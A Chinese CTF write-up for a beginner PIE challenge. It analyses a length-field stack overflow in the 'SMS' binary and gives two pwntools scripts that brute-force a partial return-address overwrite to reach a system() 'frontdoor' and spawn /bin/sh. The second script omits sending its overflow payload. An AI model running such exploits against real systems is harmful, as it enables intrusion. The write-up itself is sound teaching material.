(ps:pie入门题目)
文件链接:https://pan.baidu.com/s/17pIc0RrfLRH9arMbJmJGjA
提取码:4olb
搭建环境:

1.查看文件保护机制

ubuntu运行ida*64远程调试文件,ida打开程序


进入程序后在函数窗口可以看到frontdoor函数,进入看看

可以看到是用fget函数读入数据,然后调用system函数运行这些数据,看看给出的伪代码

看回main函数

除了puts函数就是dosms函数,跟进到sms函数


显然用memset函数初始化数据,然后先后调用了set_user和set_sms函数,并且传入了一个位于ebp-C0h的位置且属于dosms函数的局部变量记为v1。
跟进set_user函数(看伪代码吧)

开始memset初始化s字符数组,然后puts,printf输出,再就是fgets向s指向的位置(rbp-90h)写入数据。之后,读入了数据的s字符数组,通过一个for循环向传入的a1变量(即dosms的局部变量v1)的a1+(0~40)+ 140处逐个字节赋值
跟进set_sms函数(伪代码)

重要的地方在于,fgets向s处读入数据,然后通过strncpy函数,将读入的s的 (a1+180) 长度,复制到a1(即dosms函数的局部变量所指位置)。
a1+180处 要被当做数值来执行strncpy,只要a1+180处数值足够大就可以造成栈溢出。
根据上面分析的set_user函数可以知道,a1+180处的数据刚刚好是可以改写的。
a1+180处改写后,通过向set_sms函数的局部变量s(rbp-400h)写入数据,即可通过strncpy函数的赋值字符,进行劫持eip最后两个字节。(a1(即dosms函数的v1变量)在栈中的位置是ebp-c0h,所以要溢出劫持eip的两个字节,至少需要0xc0+0x8+0x2=0xca)

(程序的地址的最后三位16进制是不变的)现在只需要将eip劫持到这位置就好,然而strncpy是按字节赋值的,0x?900才够16位即2字节。所以随便改个0x9900开始爆破就可以了
6.编写exp
from pwn import *
context.binary = './SMS'
while True:
link = remote("192.168.93.137","6666",timeout=1)
payload1 = 'A' * 40 + '\xca'
link.sendlineafter(">",payload1)
payload2 = 'A' * (0xca - 0x2) + '\x01\x99'
link.sendlineafter(">",payload2)
try:
link.recv(timeout=1)
except EOFError:
link.close()
continue
else:
#else 可以不需要,上面已有continue限制,到此必然是成功进入frontdoor
link.sendline('/bin/sh\x00')
link.interactive()
break
也可以这么写:
from pwn import *
context.binary = './SMS'
for i in range(256):
link = remote("192.168.93.137","6666",timeout=1)
payload1 = 'A' * 40 + '\xca'
link.sendlineafter(">",payload1)
payload2 = 'A' * (0xca - 0x2) + '\x01\x99'
try:
link.sendline('/bin/sh\x00')
link.interactive()
except:
#最好写成except EOFError:
print 'failed'
link.close()